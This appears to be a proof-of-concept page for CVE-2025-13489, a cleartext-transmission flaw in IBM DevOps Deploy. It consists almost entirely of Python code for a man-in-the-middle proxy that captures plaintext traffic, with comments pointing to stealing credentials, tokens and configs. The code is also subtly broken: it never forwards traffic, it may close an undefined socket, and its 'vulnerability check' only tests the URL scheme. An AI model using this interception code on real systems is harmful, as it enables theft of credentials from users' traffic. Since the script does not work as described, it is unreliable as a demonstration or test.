CVE-2025-13489 | IBM DevOps Deploy 明文传输敏感信息漏洞

# CVE-2025-13489 PoC - Man-in-the-Middle Attack Simulation # This PoC demonstrates the concept of intercepting plaintext communications # Note: Only for authorized security testing with proper permissions import socket import ssl import struct def create_mitm_proxy(listen_port=8080, target_host='target-server', target_port=8443): """ Create a basic proxy to intercept unencrypted traffic This simulates the MITM attack vector for CVE-2025-13489 """ print(f"[*] Starting MITM proxy on port {listen_port}") print(f"[*] Target: {target_host}:{target_port}") print("[*] Warning: This is for authorized testing only") # Create listening socket server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server_socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) server_socket.bind(('0.0.0.0', listen_port)) server_socket.listen(5) while True: client_socket, addr = server_socket.accept() print(f"[+] Connection received from {addr}") try: # Forward to target (in real attack, traffic would be logged here) target_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) target_socket.connect((target_host, target_port)) # Log intercepted data (vulnerability demonstration) data = client_socket.recv(4096) if data: print(f"[!] Intercepted {len(data)} bytes of plaintext data") print(f"[+] Data preview: {data[:100]}") # In real attack: save credentials, tokens, configs except Exception as e: print(f"[-] Error: {e}") finally: client_socket.close() target_socket.close() def check_vulnerability(target_url): """ Check if target uses unencrypted communication Returns True if vulnerable to CVE-2025-13489 """ print(f"[*] Checking {target_url} for plaintext transmission...") # Check if HTTPS is used if target_url.startswith('https://'): print("[-] Target uses HTTPS - likely NOT vulnerable") return False elif target_url.startswith('http://'): print("[+] Target uses HTTP - VULNERABLE to MITM attacks") print("[+] Sensitive data transmitted in plaintext") return True else: print("[?] Unknown protocol") return None if __name__ == "__main__": # Example usage check_vulnerability("http://ibm-ucd-server.example.com:8080") # Uncomment to start MITM proxy (requires authorization) # create_mitm_proxy(listen_port=8080, target_host='ibm-ucd-server', target_port=8443)